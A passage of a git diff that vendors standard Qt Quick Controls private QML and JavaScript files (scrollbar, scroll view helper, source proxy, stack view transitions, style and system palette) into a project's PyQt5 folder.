will +** be met: https://www.gnu.org/licenses/gpl-2.0.html and +** https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.2 +import QtQuick.Controls 1.2 +import QtQuick.Controls.Private 1.0 + +/*! + \qmltype ScrollBar + \internal + \inqmlmodule QtQuick.Controls.Private +*/ +Item { + id: scrollbar + + property bool isTransient: false + property bool active: false + property int orientation: Qt.Horizontal + property alias minimumValue: slider.minimumValue + property alias maximumValue: slider.maximumValue + property alias value: slider.value + property int singleStep: 20 + + activeFocusOnTab: false + + Accessible.role: Accessible.ScrollBar + implicitWidth: panelLoader.implicitWidth + implicitHeight: panelLoader.implicitHeight + + property bool upPressed + property bool downPressed + property bool pageUpPressed + property bool pageDownPressed + property bool handlePressed + + + property Item __panel: panelLoader.item + Loader { + id: panelLoader + anchors.fill: parent + sourceComponent: __style ? __style.__scrollbar : null + onStatusChanged: if (status === Loader.Error) console.error("Failed to load Style for", root) + property alias __control: scrollbar + property QtObject __styleData: QtObject { + readonly property alias horizontal: internal.horizontal + readonly property alias upPressed: scrollbar.upPressed + readonly property alias downPressed: scrollbar.downPressed + readonly property alias handlePressed: scrollbar.handlePressed + } + } + + MouseArea { + id: internal + property bool horizontal: orientation === Qt.Horizontal + property int pageStep: internal.horizontal ? width : height + property bool scrollToClickposition: internal.scrollToClickPosition + anchors.fill: parent + cursorShape: __panel && __panel.visible ? Qt.ArrowCursor : Qt.IBeamCursor // forces a cursor change + + property bool autoincrement: false + property bool scrollToClickPosition: __style ? __style.scrollToClickedPosition : 0 + + // Update hover item + onEntered: if (!pressed) __panel.activeControl = __panel.hitTest(mouseX, mouseY) + onExited: if (!pressed) __panel.activeControl = "none" + onMouseXChanged: if (!pressed) __panel.activeControl = __panel.hitTest(mouseX, mouseY) + hoverEnabled: Settings.hoverEnabled + preventStealing: true + property var pressedX + property var pressedY + property int oldPosition + property int grooveSize + + Timer { + running: upPressed || downPressed || pageUpPressed || pageDownPressed + interval: 350 + onTriggered: internal.autoincrement = true + } + + Timer { + running: internal.autoincrement + interval: 60 + repeat: true + onTriggered: { + if (upPressed && internal.containsMouse) + internal.decrement(); + else if (downPressed && internal.containsMouse) + internal.increment(); + else if (pageUpPressed) + internal.decrementPage(); + else if (pageDownPressed) + internal.incrementPage(); + } + } + + onPositionChanged: { + if (handlePressed) { + if (!horizontal) + slider.position = oldPosition + (mouseY - pressedY) + else + slider.position = oldPosition + (mouseX - pressedX) + } + } + + onPressed: { + if (mouse.source !== Qt.MouseEventNotSynthesized) { + mouse.accepted = false + return + } + __panel.activeControl = __panel.hitTest(mouseX, mouseY) + scrollToClickposition = scrollToClickPosition + var handleRect = __panel.subControlRect("handle") + var grooveRect = __panel.subControlRect("groove") + grooveSize = horizontal ? grooveRect.width - handleRect.width: + grooveRect.height - handleRect.height; + if (__panel.activeControl === "handle") { + pressedX = mouseX; + pressedY = mouseY; + handlePressed = true; + oldPosition = slider.position; + } else if (__panel.activeControl === "up") { + decrement(); + upPressed = Qt.binding(function() {return containsMouse}); + } else if (__panel.activeControl === "down") { + increment(); + downPressed = Qt.binding(function() {return containsMouse}); + } else if (!scrollToClickposition){ + if (__panel.activeControl === "upPage") { + decrementPage(); + pageUpPressed = true; + } else if (__panel.activeControl === "downPage") { + incrementPage(); + pageDownPressed = true; + } + } else { // scroll to click position + slider.position = horizontal ? mouseX - handleRect.width/2 - grooveRect.x + : mouseY - handleRect.height/2 - grooveRect.y + pressedX = mouseX; + pressedY = mouseY; + handlePressed = true; + oldPosition = slider.position; + } + } + + onReleased: { + __panel.activeControl = __panel.hitTest(mouseX, mouseY); + autoincrement = false; + upPressed = false; + downPressed = false; + handlePressed = false; + pageUpPressed = false; + pageDownPressed = false; + } + + onWheel: { + var stepCount = -(wheel.angleDelta.x ? wheel.angleDelta.x : wheel.angleDelta.y) / 120 + if (stepCount != 0) { + if (wheel.modifiers & Qt.ControlModifier || wheel.modifiers & Qt.ShiftModifier) + incrementPage(stepCount) + else + increment(stepCount) + } + } + + function incrementPage(stepCount) { + value = boundValue(value + getSteps(pageStep, stepCount)) + } + + function decrementPage(stepCount) { + value = boundValue(value - getSteps(pageStep, stepCount)) + } + + function increment(stepCount) { + value = boundValue(value + getSteps(singleStep, stepCount)) + } + + function decrement(stepCount) { + value = boundValue(value - getSteps(singleStep, stepCount)) + } + + function boundValue(val) { + return Math.min(Math.max(val, minimumValue), maximumValue) + } + + function getSteps(step, count) { + if (count) + step *= count + return step + } + + RangeModel { + id: slider + minimumValue: 0.0 + maximumValue: 1.0 + value: 0 + stepSize: 0.0 + inverted: false + positionAtMaximum: internal.grooveSize + } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Private/ScrollBar.qmlc b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Private/ScrollBar.qmlc new file mode 100644 index 00000000..5f71765f Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Private/ScrollBar.qmlc differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Private/ScrollViewHelper.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Private/ScrollViewHelper.qml new file mode 100644 index 00000000..f5ef5b17 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Private/ScrollViewHelper.qml @@ -0,0 +1,234 @@ +/**************************************************************************** +** +** Copyright (C) 2016 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl-3.0.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or (at your option) the GNU General +** Public license version 3 or any later version approved by the KDE Free +** Qt Foundation. The licenses are as published by the Free Software +** Foundation and appearing in the file LICENSE.GPL2 and LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-2.0.html and +** https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQml 2.14 as Qml +import QtQuick 2.2 +import QtQuick.Controls 1.2 +import QtQuick.Controls.Private 1.0 + +/*! + \qmltype ScrollViewHeader + \internal + \inqmlmodule QtQuick.Controls.Private +*/ +Item { + id: scrollHelper + + property alias horizontalScrollBar: hscrollbar + property alias verticalScrollBar: vscrollbar + property bool blockUpdates: false + property int availableHeight + property int availableWidth + property int contentHeight + property int contentWidth + property bool active + property int horizontalScrollBarPolicy: Qt.ScrollBarAsNeeded + property int verticalScrollBarPolicy: Qt.ScrollBarAsNeeded + + + property int leftMargin: outerFrame && root.__style ? root.__style.padding.left : 0 + property int rightMargin: outerFrame && root.__style ? root.__style.padding.right : 0 + property int topMargin: outerFrame && root.__style ? root.__style.padding.top : 0 + property int bottomMargin: outerFrame && root.__style ? root.__style.padding.bottom : 0 + + anchors.fill: parent + + Timer { + id: layoutTimer + interval: 0; + onTriggered: { + blockUpdates = true; + scrollHelper.contentWidth = flickableItem !== null ? flickableItem.contentWidth : 0 + scrollHelper.contentHeight = flickableItem !== null ? flickableItem.contentHeight : 0 + scrollHelper.availableWidth = viewport.width + scrollHelper.availableHeight = viewport.height + blockUpdates = false; + hscrollbar.valueChanged(); + vscrollbar.valueChanged(); + } + } + + Connections { + target: viewport + function onWidthChanged() { layoutTimer.running = true } + function onHeightChanged() { layoutTimer.running = true } + } + + Connections { + target: flickableItem + function onContentWidthChanged() { layoutTimer.running = true } + function onContentHeightChanged() { layoutTimer.running = true } + function onContentXChanged() { + hscrollbar.flash() + vscrollbar.flash() + } + function onContentYChanged() { + hscrollbar.flash() + vscrollbar.flash() + } + } + + Loader { + id: cornerFill + z: 1 + sourceComponent: __style ? __style.corner : null + anchors.right: parent.right + anchors.bottom: parent.bottom + anchors.bottomMargin: bottomMargin + anchors.rightMargin: rightMargin + width: visible ? vscrollbar.width : 0 + height: visible ? hscrollbar.height : 0 + visible: hscrollbar.visible && !hscrollbar.isTransient && vscrollbar.visible && !vscrollbar.isTransient + } + + ScrollBar { + id: hscrollbar + readonly property int scrollAmount: contentWidth - availableWidth + readonly property bool scrollable: scrollAmount > 0 + isTransient: !!__panel && !!__panel.isTransient + active: !!__panel && (__panel.sunken || __panel.activeControl !== "none") + enabled: !isTransient || __panel.visible + orientation: Qt.Horizontal + visible: horizontalScrollBarPolicy == Qt.ScrollBarAsNeeded ? scrollable : horizontalScrollBarPolicy == Qt.ScrollBarAlwaysOn + height: visible ? implicitHeight : 0 + z: 1 + maximumValue: scrollable ? scrollAmount : 0 + minimumValue: 0 + anchors.bottom: parent.bottom + anchors.left: parent.left + anchors.right: cornerFill.left + anchors.leftMargin: leftMargin + anchors.bottomMargin: bottomMargin + onScrollAmountChanged: { + var scrollableAmount = scrollable ? scrollAmount : 0 + if (flickableItem && (flickableItem.atXBeginning || flickableItem.atXEnd)) { + value = Math.min(scrollableAmount, flickableItem.contentX - flickableItem.originX); + } else if (value > scrollableAmount) { + value = scrollableAmount; + } + } + onValueChanged: { + if (flickableItem && !blockUpdates) { + flickableItem.contentX = value + flickableItem.originX + } + } + Qml.Binding { + target: hscrollbar.__panel + property: "raised" + value: vscrollbar.active || scrollHelper.active + when: hscrollbar.isTransient + restoreMode: Binding.RestoreBinding + } + Qml.Binding { + target: hscrollbar.__panel + property: "visible" + value: true + when: !hscrollbar.isTransient || scrollHelper.active + restoreMode: Binding.RestoreBinding + } + function flash() { + if (hscrollbar.isTransient) { + hscrollbar.__panel.on = true + hscrollbar.__panel.visible = true + hFlasher.start() + } + } + Timer { + id: hFlasher + interval: 10 + onTriggered: hscrollbar.__panel.on = false + } + } + + ScrollBar { + id: vscrollbar + readonly property int scrollAmount: contentHeight - availableHeight + readonly property bool scrollable: scrollAmount > 0 + isTransient: !!__panel && !!__panel.isTransient + active: !!__panel && (__panel.sunken || __panel.activeControl !== "none") + enabled: !isTransient || __panel.visible + orientation: Qt.Vertical + visible: verticalScrollBarPolicy === Qt.ScrollBarAsNeeded ? scrollable : verticalScrollBarPolicy === Qt.ScrollBarAlwaysOn + width: visible ? implicitWidth : 0 + z: 1 + anchors.bottom: cornerFill.top + maximumValue: scrollable ? scrollAmount + __viewTopMargin : 0 + minimumValue: 0 + anchors.right: parent.right + anchors.top: parent.top + anchors.topMargin: __scrollBarTopMargin + topMargin + anchors.rightMargin: rightMargin + onScrollAmountChanged: { + if (flickableItem && (flickableItem.atYBeginning || flickableItem.atYEnd)) { + value = flickableItem.contentY - flickableItem.originY + } + } + onValueChanged: { + if (flickableItem && !blockUpdates && enabled) { + flickableItem.contentY = value + flickableItem.originY + } + } + Qml.Binding { + target: vscrollbar.__panel + property: "raised" + value: hscrollbar.active || scrollHelper.active + when: vscrollbar.isTransient + restoreMode: Binding.RestoreBinding + } + Qml.Binding { + target: vscrollbar.__panel + property: "visible" + value: true + when: !vscrollbar.isTransient || scrollHelper.active + restoreMode: Binding.RestoreBinding + } + function flash() { + if (vscrollbar.isTransient) { + vscrollbar.__panel.on = true + vscrollbar.__panel.visible = true + vFlasher.start() + } + } + Timer { + id: vFlasher + interval: 10 + onTriggered: vscrollbar.__panel.on = false + } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Private/ScrollViewHelper.qmlc b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Private/ScrollViewHelper.qmlc new file mode 100644 index 00000000..44956859 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Private/ScrollViewHelper.qmlc differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Private/SourceProxy.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Private/SourceProxy.qml new file mode 100644 index 00000000..275c24d3 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Private/SourceProxy.qml @@ -0,0 +1,136 @@ +/**************************************************************************** +** +** Copyright (C) 2016 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl-3.0.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or (at your option) the GNU General +** Public license version 3 or any later version approved by the KDE Free +** Qt Foundation. The licenses are as published by the Free Software +** Foundation and appearing in the file LICENSE.GPL2 and LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-2.0.html and +** https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.2 + +Item { + id: rootItem + property variant input + property variant output + property variant sourceRect + visible: false + + Component.onCompleted: evaluateInput() + + onInputChanged: evaluateInput() + + onSourceRectChanged: evaluateInput() + + function evaluateInput() { + if (input == undefined) { + output = input + } + else if (sourceRect != undefined && sourceRect != Qt.rect(0, 0, 0, 0) && !isQQuickShaderEffectSource(input)) { + proxySource.sourceItem = input + output = proxySource + proxySource.sourceRect = sourceRect + } + else if (isQQuickItemLayerEnabled(input)) { + output = input + } + else if ((isQQuickImage(input) && !hasTileMode(input) && !hasChildren(input))) { + output = input + } + else if (isQQuickShaderEffectSource(input)) { + output = input + } + else { + proxySource.sourceItem = input + output = proxySource + proxySource.sourceRect = Qt.rect(0, 0, 0, 0) + } + } + + function isQQuickItemLayerEnabled(item) { + if (item.hasOwnProperty("layer")) { + var l = item["layer"] + if (l.hasOwnProperty("enabled") && l["enabled"].toString() == "true") + return true + } + return false + } + + function isQQuickImage(item) { + var imageProperties = [ "fillMode", "progress", "asynchronous", "sourceSize", "status", "smooth" ] + return hasProperties(item, imageProperties) + } + + function isQQuickShaderEffectSource(item) { + var shaderEffectSourceProperties = [ "hideSource", "format", "sourceItem", "mipmap", "wrapMode", "live", "recursive", "sourceRect" ] + return hasProperties(item, shaderEffectSourceProperties) + } + + function hasProperties(item, properties) { + var counter = 0 + for (var j = 0; j < properties.length; j++) { + if (item.hasOwnProperty(properties [j])) + counter++ + } + return properties.length == counter + } + + function hasChildren(item) { + if (item.hasOwnProperty("childrenRect")) { + if (item["childrenRect"].toString() != "QRectF(0, 0, 0, 0)") + return true + else + return false + } + return false + } + + function hasTileMode(item) { + if (item.hasOwnProperty("fillMode")) { + if (item["fillMode"].toString() != "0") + return true + else + return false + } + return false + } + + ShaderEffectSource { + id: proxySource + live: rootItem.input != rootItem.output + hideSource: false + smooth: true + visible: false + } +} + diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Private/SourceProxy.qmlc b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Private/SourceProxy.qmlc new file mode 100644 index 00000000..d8b51b1a Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Private/SourceProxy.qmlc differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Private/StackView.js b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Private/StackView.js new file mode 100644 index 00000000..b0b77e21 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Private/StackView.js @@ -0,0 +1,66 @@ +/**************************************************************************** +** +** Copyright (C) 2016 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl-3.0.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or (at your option) the GNU General +** Public license version 3 or any later version approved by the KDE Free +** Qt Foundation. The licenses are as published by the Free Software +** Foundation and appearing in the file LICENSE.GPL2 and LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-2.0.html and +** https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +var stackView = []; + +function push(p) +{ + if (!p) + return + stackView.push(p) + __depth++ + return p +} + +function pop() +{ + if (stackView.length === 0) + return null + var p = stackView.pop() + __depth-- + return p +} + +function current() +{ + if (stackView.length === 0) + return null + return stackView[stackView.length-1] +} + diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Private/StackView.jsc b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Private/StackView.jsc new file mode 100644 index 00000000..5b5da217 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Private/StackView.jsc differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Private/StackViewSlideDelegate.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Private/StackViewSlideDelegate.qml new file mode 100644 index 00000000..dcc14448 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Private/StackViewSlideDelegate.qml @@ -0,0 +1,141 @@ +/**************************************************************************** +** +** Copyright (C) 2016 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl-3.0.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or (at your option) the GNU General +** Public license version 3 or any later version approved by the KDE Free +** Qt Foundation. The licenses are as published by the Free Software +** Foundation and appearing in the file LICENSE.GPL2 and LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-2.0.html and +** https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.2 +import QtQuick.Controls 1.2 + +/*! + \qmltype StackViewSlideTransition + \internal + \inqmlmodule QtQuick.Controls.Private +*/ +StackViewDelegate { + id: root + + property bool horizontal: true + + function getTransition(properties) + { + return root[horizontal ? "horizontalSlide" : "verticalSlide"][properties.name] + } + + function transitionFinished(properties) + { + properties.exitItem.x = 0 + properties.exitItem.y = 0 + } + + property QtObject horizontalSlide: QtObject { + property Component pushTransition: StackViewTransition { + PropertyAnimation { + target: enterItem + property: "x" + from: target.width + to: 0 + duration: 400 + easing.type: Easing.OutCubic + } + PropertyAnimation { + target: exitItem + property: "x" + from: 0 + to: -target.width + duration: 400 + easing.type: Easing.OutCubic + } + } + + property Component popTransition: StackViewTransition { + PropertyAnimation { + target: enterItem + property: "x" + from: -target.width + to: 0 + duration: 400 + easing.type: Easing.OutCubic + } + PropertyAnimation { + target: exitItem + property: "x" + from: 0 + to: target.width + duration: 400 + easing.type: Easing.OutCubic + } + } + property Component replaceTransition: pushTransition + } + + property QtObject verticalSlide: QtObject { + property Component pushTransition: StackViewTransition { + PropertyAnimation { + target: enterItem + property: "y" + from: target.height + to: 0 + duration: 300 + } + PropertyAnimation { + target: exitItem + property: "y" + from: 0 + to: -target.height + duration: 300 + } + } + + property Component popTransition: StackViewTransition { + PropertyAnimation { + target: enterItem + property: "y" + from: -target.height + to: 0 + duration: 300 + } + PropertyAnimation { + target: exitItem + property: "y" + from: 0 + to: target.height + duration: 300 + } + } + property Component replaceTransition: pushTransition + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Private/StackViewSlideDelegate.qmlc b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Private/StackViewSlideDelegate.qmlc new file mode 100644 index 00000000..abba15c2 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Private/StackViewSlideDelegate.qmlc differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Private/Style.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Private/Style.qml new file mode 100644 index 00000000..805c9252 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Private/Style.qml @@ -0,0 +1,53 @@ +/**************************************************************************** +** +** Copyright (C) 2016 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl-3.0.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or (at your option) the GNU General +** Public license version 3 or any later version approved by the KDE Free +** Qt Foundation. The licenses are as published by the Free Software +** Foundation and appearing in the file LICENSE.GPL2 and LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-2.0.html and +** https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.2 +import QtQuick.Controls 1.2 +import QtQuick.Controls.Private 1.0 + +/*! + \qmltype Style + \internal + \inqmlmodule QtQuick.Controls.Private +*/ + +AbstractStyle { + /*! The control this style is attached to. */ + readonly property Item control: __control +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Private/Style.qmlc b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Private/Style.qmlc new file mode 100644 index 00000000..a6b1a4ae Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Private/Style.qmlc differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Private/SystemPaletteSingleton.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Private/SystemPaletteSingleton.qml new file mode 100644 index 00000000..e4e82c55 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Private/SystemPaletteSingleton.qml @@ -0,0 +1,61 @@ +/**************************************************************************** +** +** Copyright (C) 2016 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl-3.0.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or (at your option) the GNU General +** Public license version 3 or any later version approved by the KDE Free +** Qt Foundation. The licenses are as published by the Free Software +** Foundation and appearing in the file LICENSE.GPL2 and LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-2.0.html and +** https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +pragma Singleton +import QtQuick 2.2 + +QtObject { + property SystemPalette active: SystemPalette { colorGroup: SystemPalette.Active } + property SystemPalette disabled: SystemPalette { colorGroup: SystemPalette.Disabled } + + function alternateBase(enabled) { return enabled ? active.alternateBase : disabled.alternateBase } + function base(enabled) { return enabled ? active.base : disabled.base } + function button(enabled) { return enabled ? active.button : disabled.button } + function buttonText(enabled) { return enabled ? active.buttonText : disabled.buttonText } + function dark(enabled) { return enabled ? active.dark : disabled.dark } + function highlight(enabled) { return enabled ? active.highlight : disabled.highlight } + function highlightedText(enabled) { return enabled ? active.highlightedText : disabled.highlightedText } + function light(enabled) { return enabled ? active.light : disabled.light } + function mid(enabled) { return enabled ? active.mid : disabled.mid } + function midlight(enabled) { return enabled ? active.midlight : disabled.midlight } + function shadow(enabled) { return enabled ? active.shadow : disabled.shadow } + function text(enabled) { return enabled ? active.text : disabled.text } + function window(enabled) { return enabled ? active.window : disabled.window } + function windowText(enabled) { return enabled ? active.windowText : disabled.windowText } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Private/SystemPaletteSingleton.qmlc b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Private/SystemPaletteSingleton.qmlc new file mode 100644 index 00000000..66abb87e Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Private/SystemPaletteSingleton.qmlc differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Private/TabBar.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Private/TabBar.qml new file mode 100644 index 00000000..1186968d --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Private/TabBar.qml @@ -0,0 +1,331 @@ +/**************************************************************************** +** +** Copyright (C) 2016 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl-3.0.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or (at your option) the GNU General +** Public license version 3 or any later version approved by the KDE Free +** Qt Foundation. The licenses are as published by the Free Software +** Foundation and appearing in the file LICENSE.GPL2 and LICENSE.GPL3 +** included in the packaging of this file. Please review the following 